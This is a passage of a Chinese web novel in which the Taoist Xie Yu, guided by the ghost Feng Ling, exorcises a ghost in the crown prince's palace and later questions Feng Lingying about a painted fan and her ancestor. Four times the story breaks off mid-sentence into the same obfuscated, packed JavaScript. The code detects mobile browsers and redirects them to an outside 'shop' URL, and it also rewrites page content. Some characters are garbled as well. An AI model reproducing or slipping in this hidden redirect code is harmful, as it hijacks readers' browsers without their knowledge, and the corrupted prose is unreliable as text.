黑气后的男声显然更加激动了,又急急提醒了两句。至于随后出现的那句短促痛呼,约莫是被正躲在殿内窥探情况的鬼祟打的。 找到了今夜的关键人物,解玉也不再鸭行鹅步般磨蹭前行。又一次抚过腕骨的符纹,男人长吸一口气算是给自己鼓劲,而后咬着牙冲进未知安危的更深处。 “胆子变大了许多,就是还有些看不懂情况,”乌贺点评道,“脸都还没有看到,只凭声音便相信是自己要找的人,解道长的经验还是不够多……若那是鬼祟故意装出来的呢?” 封灵的视线始终粘在解玉的身上,闻言也不过动了动嘴皮,“你还挺好为人师的。” 乌贺也不推拒,“我都有几百年的时间没教过谁东西了……毕竟解道长是你的人哪!” 这话说得又不知道歪去了哪里,红衣鬼懒得再搭理,只继续关注着殿内的动静,以备不时之需。 “……解道长?解道长!” 看见从黑暗中跑过来的解玉,太子的声音先是犹疑,而后如释重负般跌回地上,再没有半分害怕。 “殿下勿怕,贫道依约前来除祟了。” 迟迟找不见封灵,解玉自己的心里也还在七上八下,但此刻出现在太子面前,便不得不又装出一副尽在掌握之中的世外高人模样。他急急平复好呼吸,踏着不紧不慢的步调走至太子跟前,单手将其从地上搀起来,期间始终保持着云淡风轻的表情。 “那,那咱们赶紧出去罢?” 太子这会儿再不见任何的端方之相,亦步亦趋地跟在解玉身后,试图抓紧连日黑暗来的唯一希望。 解玉嘴角微微抽搐,不时被身后人拉扯的力道拽得后退两步。若他知道该如何出去,也不会在这地方鬼打墙似的绕了这么半天了…… 只是,该装的还得继续装。 “出去倒是其次,”解玉仗着太子这会瞧不见自己的表情,呲牙咧嘴地发泄着快要跳出胸腔的心跳声,“未免那鬼祟再来纠缠殿下,贫道还是趁今日将它除去为好……太子殿下找地方躲好,容贫道静待那鬼祟再出现。” 这会也找不出其他法子了,只能靠守株待兔的招数等着那鬼祟自己撞上来。 太子自然没有异议。事实上,在看到解玉犹如神兵天降般出现自己面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097514|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,他便再生不出任何的怀疑,只恨不得连伸哪只脚都由解玉来决定。 解玉打发掉身后的“拖油瓶”,毫无底气地握紧七星剑,眼珠骨碌碌地乱转着,试图提防不知会从哪里出现的鬼祟。 殿内骤然安静了下来。 解玉不敢有任何弛懈。额前的汗珠顺着面颊一滴接一滴地滚落,握着剑的动作却不敢有任何变化。直到左前方再度传来窸窣响动,解玉才舒了口气,横劈砍去不知何时又一次聚集起来的黑气,再抬手往声源处狠狠一刺,黑暗便又褪去许多。 再来几次,他们说不定就能出去了。 解玉收回七星剑,揩去几乎要糊住眼睛的汗水,回头正要拉上太子往有微光的地方走近两步,变故却在这一刻突然发生—— 有什么东西极速在地面爬行,又以迅雷不及掩耳之势凶狠抓上解玉的脚踝,几下工夫便攀到了男人没有任何防护的后背,十指弯曲成爪,骤然延长数寸的利甲直掐眼前的脖颈而去。解玉根本来不及格挡,只能在太子竭力呼救的叫喊声中放弃般闭上眼睛。 他这是要死了么……真可惜,他还是没能找到封灵,也不知道这只鬼是不是安然无恙? 好在他马上也要变成鬼了。最坏的结局,也不过是跟封灵在地府重逢罢了。 听起来,好像也不错。 “啊啊啊——” 凄厉的喊叫在解玉耳边炸开,如同遭到了什么难以忍受的折磨般不断痛苦呜嚎。解玉惊诧睁眼,只感觉到后背一轻,那鬼祟便似断了线的风筝般被狠狠甩到地面,原本凝实的魂身一下子变得虚晃起来。 “……你算什么东西,也敢对我的人下手。” 是封灵的声音。 解玉停摆许久的大脑终于在这一刻恢复运转,视线也重新被熟悉的红色衣角所覆盖。 “做的不错。” 封灵不吝啬地夸了一句,不夹带半分的敷衍。 也是解玉没有见过子母鬼,不知道这种鬼喜欢一明一暗地成对出现,否则以他刚才展露出来的敏锐程度,或许还真不必她出来救急。 看来还真被乌贺教的不错。 扫了挤在角落尚不清楚情况的太子一眼,封灵突然计上心头。 将手掩在衣袖之下,红衣鬼招呼了解玉一句,“拿着你的七星剑过来,别看我。” 后者毫不迟疑地走向封灵,又在下一刻僵住了身体。隔着薄薄一层衣袖,解玉感觉到封灵的掌心贴在了自己的手背之上,带着他用七星剑挽了个剑花,又将剑尖对准地上瑟瑟发抖的子母鬼。泠泠的女声在耳边响起,“乌贺这把剑上沾了太多的灵气,便是我也不敢直接触碰,所以就这样将就了……记住我接下来说的话,把它念出来,这桩差事便可了结了。” 解玉艰难地点了头,耳廓的红色几乎遮掩不住。 “……酆都灵官,助我歼邪。斩恶缚秽,凶煞消除……杀鬼无阻,度人无惊……敕!” 话音刚落,七星剑便迸出刺目白光,又毫不停留地穿透子母鬼的身体。后者还来不及发出任何惨叫,便彻底消散在天地之间。弥漫许久的黑气也在子母鬼消失的瞬间全部退去。 “殿下,该起身梳洗了。” 殿外重又传来宫人走动的声响,夹带着询问般的恭敬话语。 解玉怔然看向窗外,久违的松快终于在这一刻席卷上四肢百骸,整个人就跟卸下重担般长吁了一大口气。 天色已亮。 33. 暂作停留 “……解道长,这就算结束了罢?” 太子小心翼翼地角落里挪出来,看着透过窗棂铺洒进殿内的熹微光点,不自觉蜷起手指似乎想要近前碰触,却又立刻恢复清醒。没有急着让宫人们进来,反先问起了解玉,寄望从自己的救命恩人身上得一个准话。 「子母鬼的话,算是解决了。」 封灵早在黑气消散的时候便放下了手,这会正饶有兴致地盯着解玉握住的七星剑不放。 解玉眼皮一跳,仿佛从红衣鬼的这句话中听出了些许其他的意思,但也只能原封不动地重复一通,果见太子还来不及好转的脸色又一次糟糕起来。 “解道长,您的意思是……孤的身边远不止这一只鬼?” 太子的脸色有些发白,提到‘鬼’字的时候甚至有些吞吐支吾,俨然还没从连日来的惊吓中走出来。 灼灼的目光停在解玉脸上,解玉的视线则始终定在封灵身上。刚才粗粗一瞥,他并没有再发现其他的鬼祟,但或许只是因为天亮隐匿了身形。究竟有没有漏网之鱼,还得靠封灵的这双眼睛才行。 红衣鬼收回视线,转而又对着太子细细打量起来。像是确认了什么事情般,封灵用折扇掩过脸,凑近与乌贺低语了几句。说了什么解玉没有听清,但却看清了红衣鬼在乌贺点头后露出的满意笑容。 这笑容太熟悉了,封灵每次想安排他做什么事情的时候,就会露出这样一抹笑,捎带着满满的温柔与好说话。 解玉忍不住打了个激灵,果见这位鬼大王将目光移到了自己身上,而后指尖一点,他便说不出话了。 “……解道长?” 太子见人迟迟不说话,心中更是没底。顾不得殿外又响起的阵阵催促,只压着声音再次问道。 “殿下的心里就没有一点猜测么……究竟是谁招来的鬼祟,让它们每夜都出现在这太子殿中,却又偏偏不害伤您的性命?” 话是从解玉的喉咙里滚出来的,操纵着这张嘴开口的却是几步之外的封灵。 “……” 太子突然沉默起来。 “昨夜的鬼自是被贫道除去了,但今日以后还有没有鬼,贫道便无从得知了。”封灵一字一句道,“驭的鬼已经没了,那驭鬼的人自然也就知道发生了什么。是就此偃旗息鼓,还是不死心卷土重来,便得太子殿下自己思量了。” 解玉的嘴一张一合,心里却开始有些明白封灵在打什么主意了……她分明是不打算就挣太子殿下这一笔钱哪,这会儿说的所有话都是在给人家下套,等着眼前的大鱼自己跳起来咬饵呢! “……贫道与太子殿下的这场缘分,也算是在昨夜有个了结,”封灵最后下了剂猛药,“这就回北地城隍庙继续修行了。” “殿下,太子殿下!再不起身,怕就要误了给陛下、娘娘请安的时辰了!” 宫人恰到好处地在外面又呼唤起来,生生激出了太子正无处宣泄的怒气,“孤何时去给父皇母后请安,还需要按你们的吩咐行事吗!滚下去!” 殿外顿时鸦雀无声。 “……解道长,你说的事情孤也还需要时间细细探查。这期间,能否请你多留皇宫些时日呢?”太子果然上了套,“孤如今能信任的,只有解道长你了!” 封灵无征兆地解了禁言,沉默的一方便成了解玉。将询问的目光投向身前的红衣,解玉挑着太子看不见的地方不住地挤眉示意,生怕封灵让他一个人抗话。 「就说你要回城隍庙修行。若他再遇上鬼祟侵扰的事情,可像今次这般燃香请愿。缘分到时,你自会出现在他的面前。」 封灵摇着扇子,被解玉求助似的眼神逗得轻笑出声,又慢慢悠悠地点了一句。 解玉顿时放心,勉强维持住太子眼里世外高人的壳子,又按照封灵的话稍加变动后抛了回去。太子还有些不情愿,一旁的乌贺已看准时机挥袖,直接让解玉凭空消失在了殿内。 只留下满目惊诧的太子一人。 …… 此刻的解玉,还不知道自己已被太子当成了有大神通的半仙,只觉眼前一花,便又从华美奢靡的太子殿回到了熟悉的城隍庙客房。封灵就站在他身后,正喋喋不休地与乌贺交待着什么。 “诶,你记得再给他托一场梦,让他把百日的香火先给了……还有你之前说的银钱,也让他一并交过来,可别想着赖账。解玉还指着用这钱过日子呢!” 封灵敲一下扇子,说一句话,乌贺则听一句话,点一次头。当着解玉的面,就这样迅速地将太子由里到外地分刮干净了。 “……鬼大王,咱们还真要继续留在望京吗?”解玉挠着头,“要是被拆穿了怎么办,会不会有些太冒险了。” 一想到他竟然敢在国朝储君的面前行招摇撞骗的事情,解玉便觉得自己的后颈微微有些发凉,就跟头顶上悬了把看不见的闸刀一般。 “解道长,你什么时候骗人了?” 乌贺靠着角落的柱子,两手交叠环抱在胸前,满脸的真诚,“太子确实深受鬼祟困扰,你帮了他,还愿意为他继续留在望京城里,分明是天大的恩人……就刚才,你还直接消失在了他面前,太子如今对你该是又敬又怕才是。” 说的也有几分道理,可解玉的脸上却还残留着几分纠结,“……那也是因为您和鬼大王在暗地里助了我一把。若单是我自己,决计是没有办法的。” 自从认识了封灵,又与鬼神打交道的次数多了,解玉便深感自己在人间养就的许多观念开始摇摇欲坠起来。比起凡人的区区几十载寿命,死了一千年的封灵和显然活了更久的乌贺在对待某些人和事上就显得随性恣意了许多。 毕竟,辖御他们的也并非人间帝王。 可惜他是。 解玉无可奈何地叹了口气。若只做旁人眼里的疯子也就罢了,只是照这个路子继续走下去,他早晚会成为一个世俗眼里的离经叛道的怪人…… 也不知算好,还是不好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114637|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “都跟你说了是件好差事,如今总算不怀疑我了罢?”乌贺抻了抻懒腰,“等太子这边的麻烦解决了,算上他的龙气,你少说也能得个几十年的香火,功业也能够攒下许多。至于解道长么……已经与太子攀上了关系,以后在这人间也能做个响当当的人物,说出去也能跟你这鬼师的名号更配些,免得你——” 红衣鬼毫不客气地往乌贺身上狠狠砸了一拳,将这位城隍主未说尽的话塞回了肚子。不用听也知道,又是重复他在谢必安嘴里听来的那些谣言。这种脏耳朵的东西,就没必要让解玉知道了。 那拳头的力道大得连解玉都直皱眉头,乌贺却跟习惯了般,只轻描淡写地拍了两拍,便又正常开口:“看来你的精神很好……那接下来的这段日子就继续住在我这里,解道长也可再修习些抓鬼的法门,来日或许还能用得上呢?” “解玉多谢城隍主!” 封灵打架的本事数一数二,教人的本事却近乎为零。能留在城隍庙被乌贺带着修□□好过他自己关在房门里胡乱摸索,解玉当然没有不应的道理。 “好,那你们稍事休息,迟些会有庙祝送早饭进来,”乌贺好脾气地笑了一下,“解道长昨夜忙了整宿,这会儿怕是也累了,不妨先小憩片刻,等养足精神后再做详细打算。” 这话倒提醒了封灵。 他们三个里面,拢共就解玉这个凡人需要睡觉。她与乌贺的身份特殊,之后的许多事情还要靠解玉在人前走动。身负如此重任,还是不能太被折磨了。 “对,你先休息,早饭可以迟些再让他们送进来……别把身体熬坏了。” 封灵也跟着“善解人意”地劝说起来。 “……知,知道了。” 解玉满脸别扭地应下。他还是习惯封灵对他呼来喝去的样子,偏这会儿跟着装出副和颜悦色的表情,也不知道又在脑子里打起了什么主意……她似乎也还没意识到自己这一点。 乌贺的视线又一次从这一人一鬼的脸上扫过,还是觉得谢必安跟他说的没有错,否则封灵做甚对一个凡人如此上心,还如此这般地好言好语。 “我便先回去处理公务了。” 乌贺朝解玉浅浅一颔首,紧接着消失在了客房。 解玉也打了个呵欠,锤了两下肩背,便也拖着酸痛的四肢慢慢往榻上挪动。只是还不等他躺进绵软的被子,本该消失的乌贺便又一次出现在了客房里。 “并非我有意打扰你们休息,只是刚才外面突然来了个人,你们应该也认识……她指名道姓要见解道长一面,说有要事想问。” 看着明显僵住动作的解玉,乌贺肯定地一点头,“确是来找你的,还对着庙祝点出了你的名姓与长相。只是不知道……解道长怎么会认识远在望京的酆家人?” 酆家人? 还是专程来找他的酆家人…… 解玉抖了个激灵,有些困倦的大脑一下子清醒过来。 是酆灵英! 34. 心中无数 解玉扭头看向封灵。酆灵英此刻造访,除了来问那把折扇的事情外,他想不到其他的缘由。只是这人为什么会知道自己住在了城隍庙,还能恰到好处地在他们一行从皇宫回来以后上门? “……要不,先假装我们都还没有回来?” 见封灵沉吟不语,解玉又转身看向乌贺,斟酌着提了句建议。 乌贺耸肩,“那酆家的女郎摆明了是来找你的,又看不见我与封灵。去不去的,你自己决定。我就是顺路过来帮自家庙祝传个话而已。” 说罢,又一次从客房消失。 “鬼大王,要不你跟我一块儿去吧?”没能拉上城隍庙的主人,解玉便又把主意打在了封灵身上,“酆姑娘应该是过来问折扇的事情的。” 后者抬手用折扇敲了敲男人脑袋,“解道长,你就没想过她是为了被你灭掉的那对子母鬼讨说法的么?” 当然,若能从解玉的嘴里问到折扇的事情,更是一举两得。 解玉微怔,果然没想到这一层,或者说他没有将这件事与酆灵英之间扯上什么关联,“鬼大王,对……下手的,真是酆家吗?” “是不是的,你亲自问过不就知道了,”封灵摇着扇子,“就算不是找你的这个酆家人做的,以她能知道你住在城隍庙的情况来看,最起码也是个心里有数的。” 解玉听后有些沉默。虽然一开始结识的契机称不上好,但几次交往下来,酆灵英给他留下的印象颇佳。他本以为这人与酆家的其他人是不同的……可如今听过封灵的提醒,他便不由自主地怀疑起酆灵英此前对他施加的诸般善意来。 “解道长,就别摆出一副苦大仇深的表情了,”斜斜睨了人一眼,红衣鬼复又开口,“先出去把人见了再说,保不齐是我猜错了呢?” 可封灵之前的话就没说错过…… 解玉恹恹地一点头,抬手使劲在脸上揉搓了几下,方才振作起精神,跨出了门。 …… “酆姑娘。” 解玉拱手示意,语气不冷不热。 酆灵英恍若不觉,笑着回了礼,“解公子来了望京,怎么也不知会灵英一声?若不是底下人来报,灵英怕是到现在还被蒙在鼓里呢。” 这理由也太过顺畅了。 解玉看着全然不见异样的酆灵英,忍不住拧起眉头。封灵的话还在耳边回荡,他突然间便失去了客套的心情,也不欲在大庭广众之下与人继续周旋,索性挑明了讲,“酆姑娘,我此行并无有任何声张,也没有见过任何一个酆家的人,试问你是从哪里知道的呢?” 酆灵英的笑容逐渐淡去,定定看了解玉两眼,叹着气向其一俯身,又是与那日如出一辙的含歉姿态。 解玉却避开了,“酆姑娘今日这一拜,解某受不起。” 酆灵英动作微顿,而后缓缓挺直背脊。向左右示意了两眼,身后作护卫打扮的女子便驱赶走躲在门后偷听的城隍庙祝,又将此地留给酆、解二人。 “解公子,这其中或许有什么误会,”酆灵英抿着嘴,“酆家上下忠君之心从无更改,更不会做任何危害国本的事情!昨夜出现在……的鬼祟,虽有被驭鬼术操纵的痕迹,但确确实实不是酆家做的。” 酆灵英一番话说得掷地有声,丝毫不惧解玉看向她时眼底浓郁不散的怀疑。 “酆姑娘,这世间除了你们家的人,还有第二个姓能得酆都大帝赐驭鬼之术么……” 解玉说得含蓄,可任谁也听得出其中的言下之意,酆灵英自然不例外。 “那日,我匆匆与公子拜别——” 酆灵英沉默了片刻,再开口却是与解玉分别时的旧事,“便是收到亲随来信,说家中有人欲行不忠之事。归家后查探属实,我便已狠狠发落了他们,又再三约束着底下人,不许他们生出任何旁门左道的心思……我是亲自去看过的,那一位身上确实没有鬼气的存在后,才带着人去了临县抓鬼。谁知今早入城时突然看见皇宫笼罩着的深深鬼气,这才……” 女子没有再继续说下去。 「太子连日来受鬼祟侵扰,这一点无从做假。若酆灵英同样没有说谎,那便是她也被人骗了。」 封灵歪站在墙角,静静看了会儿酆灵英说话时的表情,突然开口。 解玉立刻反应过来,又迅速在脑子里过了一通,朝酆灵英问道:“酆姑娘,你口中的酆家似乎是个言能践行、表里一致的望族高门。可若真是如此,又怎会一而再,再而三地出现酆七公子那般的人物……姑娘就没想过,自己实际是被他们施了调虎离山之计,又遭同族人欺瞒了吗?” 他这话,挑拨离间的意味也忒明显了。 解玉先在心底腹诽起来。 “不可能!” 酆灵英还没有说话,早前驱赶走庙祝又回到角落默认伫立的女护卫先一步愤慨起来。 “这位道长,你眼前站的可是酆家的少家主,将来还要执掌酆家接任国师的!他们如何敢对少家主行欺瞒之事!” 这名女护卫应该憋了许久。看着酆灵英好声好气地与人道歉却又被来回挤兑,估计早在心底对解玉看不顺眼了,这会儿总算逮住机会讥讽了回来。 酆灵英是……少家主? 这个消息没能在解玉心底翻起大浪,倒是惹来了封灵的诧异抬眼。她从第一殿鬼差口里听来的,酆家代代以男子传宗,所以承继家主与国师之位的也全是男子。如今酆灵英身边的女护卫却说她是少家主,当真是……巾帼不让须眉哪。 封灵欣赏般的眼神从酆灵英身上掠过,须臾又吩咐起解玉来—— 「这件事暂时问不出结果了,你也不必再与酆灵英纠缠,找个由头离开吧。」 她也得回去细看下秦广王给的卷册了。 “……酆姑娘,解某并没有恶意。只是想到姑娘此前几番待我以诚,自认姑娘与酆家的其他人不同,这才说出心底的疑惑罢了。” 解玉歉意般一拱手,“若无其他事情,解某便要回城隍庙继续修行了。” 酆灵英还沉浸在解玉刚才的那番话中,闻言蓦地回神,压下心底涌出的少许疑虑,再次开口道:“解公子,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127613|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事……便是之前说的那把折扇。不知公子哪日得空,也好让灵英专程设宴邀公子登门细谈。” 解玉的视线突然飘忽了一下,目光停留在虚空中的某处,又速度极快地掠过。 他在等封灵开口。 「挑个乌贺没工夫教你的时间,让她在东街客栈二层临窗的隔间等你。」 至于她为什么会这么清楚?全赖乌贺某次醉酒后在她耳边的喋喋不休——望京城里排的上号的吃喝住行全在那一次后被她记下了。而东街的这家客栈,便是乌贺口中望京城里最昂贵奢靡的一家。 要是解玉身有积蓄,他们说不定一早就住进去了。封灵不无遗憾地想。 “今日是不行了……若酆姑娘方便,三日后的巳时一刻,姑娘可于东街客栈的二层隔间等我,届时愿听姑娘细说折扇一事。” 解玉哪里知道封灵心里的弯弯绕绕,听完话便依样画葫芦地与酆灵英商量起来。后者等了许久才听到这一声松口,自然痛快答应,又与解玉细细确认了地点,这才两相道别。 “……解公子,恕我多嘴一问,”酆灵英正欲离开,又跟想起什么般顿住脚步,“你养在身边的那位鬼大人,那日会否也一并过来呢?” 养? 红衣鬼威胁似的眯起了眼睛。 解玉顶着身后灼人的逼视,勉力维持着面上的平稳,“那位大人来去无踪的。若想去,自己便会过去。若不想去,谁请她都不出现的。” 酆灵英面露遗憾,还是不死心地发出了一声恳请,“若可以,届时还请解公子与那位鬼大人同来,灵英也会提前备好香蜡纸钱聊以供奉的。” 不愧是跟鬼物打过无数交道的人,酆灵英一下子便摸准了封灵的关窍。虽说这红衣鬼一定会跟在他的身边,但若还有香蜡纸钱,她只怕会更积极些。 “好,我会转告给那位大人的。” 心里虽转着奇奇怪怪的念头,解玉面上却如常,笑着应下了酆灵英的话。后者同样回以一颔首,而后再不停留地离开。 …… “鬼大王,酆姑娘今日都已经来了,为何不干脆让她说出折扇的事情呢?” 回到客房,解玉看着自觉躺回摇椅的鬼师娘娘,发出一声疑问。 “……人就在望京城里住着,今日明日的又有什么区别?”封灵说的理所当然,“再者,你昨日才与子母鬼鏖战了大半夜,几乎是彻夜未眠,如今还有多的精力听她这一场吗?” 解玉的关注点却在后半截话,“鬼大王,你是在……关心我吗?” 最后四个字,问得极轻。 “刚才勉强算是吧,但从酆灵英嘴里听到‘养’这个字以后便不是了。”封灵翻身坐起,笑得眉眼弯弯,“解道长,三日后的那场席,你就自个儿去吧。记得把话听全了,再把该问的都问清楚了,回来后若敢有任何的解释不明,我下次便拿你当抓鬼的诱饵。” 红衣鬼语气平稳地抛下一记重锤,在解玉堪称震惊的目光中悠然消失。 “……” “什么?!” 35. 言及旧事 解玉目不斜视地临窗端坐,手捧着杯盏浅啜一口,假装看不见对面人左右找寻的热切视线。须臾放回原处,盏底与桌面相接,解玉终于避无可避地迎上酆灵英询问般的目光。 “酆姑娘,那位鬼大人真的没有来……” 解玉轻叹了口气,将进门时便说过的话又重复了一次。 他原以为封灵说的只是句玩笑话,没想到真就让他一个人来了。甚至在临出门前才从乌贺的嘴里听说,太子许诺的百日香火正是从今日开始,所以他身边的这只鬼大清早地便去正殿等着了。 所以对于这把折扇的事情,封灵到底是想知道,还是不想知道呢…… 解玉有些不确定起来。 “……解公子,可是那位大人还有什么顾虑?”酆灵英不死心地追问,“灵英可以发誓,绝没有对那位大人怀揣任何的恶意,只是想求证些事情罢了。” 解玉心虚地别过眼,实在不知道要如何向人解释,总不能实话实说封灵抛下了这头,去吃太子的香火了罢…… 未免被越问越细,解玉果断先开了口,“酆姑娘,你一直念在嘴里的那把折扇,究竟有什么独特之处?” 酆灵英沉默一瞬,将自进门起便放在身侧的画卷搁上了桌,抬手缓缓铺开,“……公子请看。” 落墨于画卷上的,是一名白衣女子持剑与恶鬼对峙的战斗场面。恶鬼被画师勾勒得栩栩如生,杀鬼的女子却只余一抹虚幻背影。而被酆灵英挂在嘴边的那把折扇,则出现在了画卷的最角落,样式确与封灵拿在手里的有几分相似。 但也只是相似。 解玉垂下眼睑,又盯着画上的女子细细打量了许久,带着不知是庆幸还是遗憾的复杂心绪,开口道:“酆姑娘,这画上的折扇不过指甲盖大小,你如何能确认是出现在我身边的那一把?” 而那名女子,应该也不是封灵……他记忆中的鬼师娘娘,从来都是一身红衣,抓鬼除邪也用不上剑。 “解公子,你再仔细看看,”酆灵英抬手朝画上某处点了一点,“这个地方,是不是有两个圆形的印记,里面隐隐可见字符?” 解玉这次盯的时间更长了,再抬头时仍是怀疑,“酆姑娘,还恕在下眼拙,确实辨认不出其中的奥秘……就算真是同一把,又与姑娘所求的有什么关系呢?说实在的,这幅画在解某眼里,不过是调转了坤乾的又一幅《钟馗杀鬼图》罢了。姑娘拿它来向我求证,实在没有意义。” 像是被街角的热闹吸引住了般,解玉将视线挪出窗外,又摆出一副信疑参半的姿态。也不知是不是他自己的错觉,盯着这画上的人与物看得久了,他还真觉得与封灵手里的那把越来越像…… 该死,不会真被酆灵英猜中了吧?! 解玉欲盖弥彰地端起桌上的茶,凑近嘴边饮了一大口,强行驱散脑子里不找边际的奇怪念头。便真是同一把,也得等他回去问过封灵后才能下定论,这当头是绝对不能认的。 酆灵英叹息着抚过画上女子背影,开口解释起来,“解公子有所不知,这上面画的,原是我酆家的一位先祖……” 解玉的身体突然抖了一下,拿住杯盖的手一下子没收住力道,连带着盏中的茶也被倾泄出少许。稍显心虚的目光迅速从酆灵英身上扫过,好在后者正沉浸于久远的回忆当中,一时未注意到这边的异样。 “据说那位先祖是真正的惊才绝艳,酆家的人里至今都没有比她天资更出众的,”酆灵英面露缅怀之色,“当年鬼物为祸人间,那位先祖只凭一人之力便除杀了近千只鬼,又救助受难百姓无数,不知立下了多大的功业。” “……这画,便是作的当时的场景?” 酆灵英轻轻一颔首,“只可惜是后人根据家中所藏文籍的内容所作。因不知先祖相貌,又恐随意落笔是为不敬,所以到最后也只留了先祖的一抹背影,聊以观瞻。” “那,后来呢?” “后来……后来为救手足,被趁乱偷袭的鬼物重伤,最终殒命于百只鬼口之下。”酆灵英的声音很沉重,“记载中,那位先祖辞世时也不过二十出头的年纪……当真是天妒英才。” 如此厉害的本事,偏又死的如此凄惨,除了不是造了恶业被人寻仇以外,倒与他身边这只鬼的情况有些相似。 解玉的心提了起来,“酆姑娘,我听你总先祖先祖的称呼,那一位的功业如此之盛,就没有留下什么确切的名姓吗?” 酆灵英苦笑摇头,“百千年前的事情了,那时可还没兴起什么撰名录姓的习惯。且这位先祖又是个女儿身,若非功绩实在彪炳,又被救下的手足记在了家中的文籍里,我怕是也没机会知晓……” 没能听到自己想要的答案,解玉少不得有些泄气,旋即又振作起来,“那,酆家的文籍里有记载这位先祖的品行脾性吗……虽问得有些唐突,在下却也实在对这位巾帼感到好奇。” “倒也记载过几件小事,”酆灵英就跟想起了有意思的事情般轻笑出声,“那位先祖,应该是位温柔和善、待人如沐春风,又身怀慈悲心的女子。” 解玉一听便松了口气。这些溢美之词可说与封灵全然扯不上关系,甚至是截然相反……他总算不用胡思乱想了,更不必猜测这画上女子有几分可能是跟在他身边的鬼师娘娘,实在是可喜可贺。 不对! 若半分关系都没有,那折扇的事情又是怎么回事……难道是生前的姐妹? 解玉还没有完全放下的心又一次提了起来,“酆姑娘,你家的这位先祖,是只有手足,就没个什么姐妹的吗?” 酆灵英一时不解其意,却还是摇着头诚然答道:“这些便没有记于文籍中了。想来就算真有,怕也早无名无姓地湮灭在过去的千载时光里了。” 那便还是有可能的了…… 解玉的头又开始疼了起来。他明明是过来问折扇的事情的,怎么一来二去的,现在还要操心起封灵是不是真有个姐妹了。 “解公子,折扇的事情……” 酆灵英的声音也恰到好处地响起。 折扇…… 差点把最关键的事情给忘了! 解玉猛地清醒过来,将自己满头的思绪从酆灵英口中的旧事中抽离。现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157558|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在可不是细思这些的时候。 “酆姑娘是因为看到了画里的折扇,所以才几次三番地想从我嘴里得一准话么……这扇子,难道是你家先祖用过的武器?” 解玉捋顺了思绪,重新开始打听起来。 “这倒不是,”酆灵英否认的干脆,“除开道士会用的那些抓鬼法器外,我们家的人都只会修习剑术,会用的武器也只有剑罢了。” 封灵倒从不用剑。 虽说眼下不该去想这些有的没的,可听到酆灵英这句话的瞬间,解玉的第一反应还是与自己身边的鬼师娘娘作比,又在得出相反结论后陡然放松。 “那酆姑娘是想问?” 解玉不失时机地发出疑问。 “……那位先祖殒身于百只鬼口之下,称得上一句尸骨无存,所以酆家代代奉祭的都只是她的牌位,并没有将之殓埋入祖坟。”酆灵英蹙着眉头,“而画里的折扇是根据酆家文籍中的记载改绘而来,折扇的主人应该见过或至少在先祖殒命时出现过。” “公子手里的折扇也好,身边那位鬼大人的折扇也罢,都与画上这把十足的相似……灵英想通过这把折扇的主人找寻到先祖的亡身之地,将她的遗骸带回家中安葬,也算是落叶归根。” “酆姑娘,你一定很敬慕这位先祖吧?” 解玉说得真心实意。 酆灵英笑着一点头,丝毫没有被看穿的气恼,反而就着这句话继续道:“从我第一次在文籍中翻看到她的事迹时,便牢牢记住她、敬慕她了。多亏了这一位‘酆姑娘’,我才能一步一步地走到少家主的位子,否则我大概也只是许多无名无姓的酆家女子中的一个罢。” 全然的敬崇与佩服。 “……我常常在想,若不是那位先祖离世得太早,这酆家家主的位子早百千年前便由女子承继了,又如何会等到我这一代……细算下来,还是我给她丢人了。” 听着竟不像是酆灵英的自谦之言,她是真觉得自己远不如这位英年早逝的女坤先祖。 如此看来,至少能确定封灵跟这位酆家先祖不是同一个人。但究竟是姐妹,还是仅仅当时在场的旁观者,便需要更多的线索再去串联了。至于被画在角落的那把折扇,则又一次失去了搜求的头绪。 解玉在心底默默盘算了会,决定继续从酆灵英身上入手……或许在酆家的藏书中还留有关于折扇的其他线索呢? 思及此,解玉重又开口道:“酆姑娘,今日不妨就先到这里?等在下回去问过那位鬼大人情况后,再与姑娘细究找回先祖遗骸的事情?” 解玉故意留了道口子,也好为两人再碰面找个由头。 